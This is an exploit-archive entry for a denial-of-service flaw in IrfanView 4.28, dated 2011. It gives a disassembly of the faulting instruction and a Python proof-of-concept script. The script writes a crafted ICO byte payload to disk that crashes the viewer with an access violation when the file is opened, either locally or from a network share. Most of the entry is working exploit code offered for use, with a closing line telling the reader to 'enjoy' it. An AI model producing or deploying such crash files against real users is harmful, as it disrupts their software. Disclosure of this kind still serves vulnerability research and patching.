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IrfanView 4.28 - ICO With Transparent Colour DoS & RDoS
[# done by BraniX <branix@hackers.org.pl> # www.hackers.org.pl # found: 2011.04.07 # published: 2011.04.10 # tested on: Windows XP SP3 Home Edition # tested on: Windows XP SP3 Professional # App: IrfanView 4.28 # App Url: http://www.irfanview.com # i_view32.exe MD5: c6d9383c4119a59aad70dbc4a974b8b4 # DoS is caused by not handled Access Violation Exception in module i_view32.exe # It can be triggered from: # Local: C:\With Transparent Colour - DoS.ico # Remote: \\MySecretServer\With Transparent Colour - DoS.ico # 004162D0 8B4424 04 MOV EAX,DWORD PTR SS:[ESP+4] # 004162D4 B2 80 MOV DL,80 # 004162D6 8AC8 MOV CL,AL # 004162D8 53 PUSH EBX # 004162D9 80E1 07 AND CL,7 # 004162DC D2EA SHR DL,CL # 004162DE 8B4C24 0C MOV ECX,DWORD PTR SS:[ESP+C] # 004162E2 C1E8 03 SHR EAX,3 # 004162E5 8A1C08 MOV BL,BYTE PTR DS:[EAX+ECX] ; Invalid address -> Access Violation when reading # 004162E8 22D3 AND DL,BL # 004162EA 5B POP EBX # 004162EB F6DA NEG DL # 004162ED 1BD2 SBB EDX,EDX # 004162EF F7DA NEG EDX # 004162F1 8BC2 MOV EAX,EDX # 004162F3 C3 RETN filepath = "C:\\With Transparent Colour - DoS.ico" f = open(filepath, "wb") poc = '\x00\x00\x01\x00\x01\x00\x0B\x0D\x00\x00\x01\x00\x18\x00\x30\x02\x00\x00\x16\x00\x00\x00\x28\x00\x00\x00\xFE\x00\x00\x00\x1A\x00\x00\x00\x01\x00\x18\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1E\x17\x14\x00\x00\x00\x00\x00\x00\x2D\x26\x16\x00\x00\x00\x00\x00\x00\x00\x00\x00\x35\x27\x24\x36\x33\x35\x2C\x33\x4B\x2C\x33\x4B\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x3F\x39\x48\x48\x54\x67\x33\x29\x34\x36\x33\x35\x2C\x33\x4B\x44\x46\x65\x00\x00\x00\x36\x33\x35\x56\x58\x76\x64\x67\x87\x35\x44\x4D\x1E\x17\x14\x64\x67\x87\x65\x78\x96\x35\x27\x24\x36\x33\x35\x2C\x33\x4B\x48\x54\x67\x00\x00\x00\x27\x34\x33\x65\x78\x96\x65\x78\x96\x48\x54\x67\x56\x55\x67\x77\x76\x98\x44\x44\x56\x25\x24\x24\x3F\x39\x48\x44\x44\x56\x48\x54\x67\x00\x00\x00\x44\x44\x56\x44\x46\x65\x36\x33\x35\x67\x66\x77\x65\x59\x90\x67\x66\x99\x56\x55\x67\x25\x24\x24\x3F\x39\x48\x44\x44\x56\x44\x46\x65\x00\x00\x00\x77\x69\xCA\x56\x58\x76\x44\x35\x2F\x77\x76\x98\x76\x6B\x98\x77\x76\x98\x34\x46\x2E\x25\x26\x37\x2C\x33\x4B\x3F\x39\x48\x48\x54\x67\x00\x00\x00\x65\x59\x90\x44\x44\x56\x55\x49\x65\x51\x47\x46\x55\x56\x58\x34\x46\x2E\x36\x33\x35\x36\x33\x35\x2C\x33\x4B\x2C\x33\x4B\x47\x56\x76\x00\x00\x00\x75\x69\x88\x55\x49\x65\x52\x55\x8B\x46\x43\x44\x36\x33\x35\x44\x44\x56\x44\x44\x56\x3F\x39\x48\x3F\x39\x48\x3F\x39\x48\x56\x58\x76\x00\x00\x00\x67\x66\x77\x44\x44\x56\x55\x49\x65\x55\x49\x65\x56\x58\x76\x65\x59\x90\x55\x49\x65\x3F\x39\x48\x33\x29\x34\x3F\x39\x48\x56\x58\x76\x00\x00\x00\x55\x49\x65\x55\x49\x65\x55\x49\x65\x65\x59\x90\x67\x66\x99\x65\x59\x90\x55\x49\x65\x3F\x39\x48\x33\x29\x34\x44\x44\x56\x64\x67\x87\x00\x00\x00\x4F\x49\x56\x55\x49\x65\x55\x49\x65\x56\x55\x67\x65\x59\x70\x64\x67\x87\x56\x58\x76\x3F\x39\x48\x2C\x33\x4B\x44\x46\x65\x54\x69\x8C\x00\x00\x00\x55\x49\x65\x55\x49\x65\x55\x49\x65\x55\x49\x65\x65\x59\x90\x65\x59\x90\x55\x49\x7A\x3F\x39\x48\x3F\x39\x48\x56\x58\x76\x65\x78\x96\x00\x00\x00\x65\x59\x90\x56\x58\x76\x52\x55\x8B\x65\x59\x90\x6C\x58\xB0\x67\x66\x99\x52\x55\x8B\x3F\x39\x48\x2C\x33\x4B\x56\x58\x76\x77\x8F\xAB\x00\x00\x00\x6E\x00\x00\x00\xF8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' f.write(poc) f.close() print "Done, 1 file generated on 'C:\\' ..." print "Open this file in IrfanView 4.28 and enjoy ;)" # 0day.today [2024-12-25] #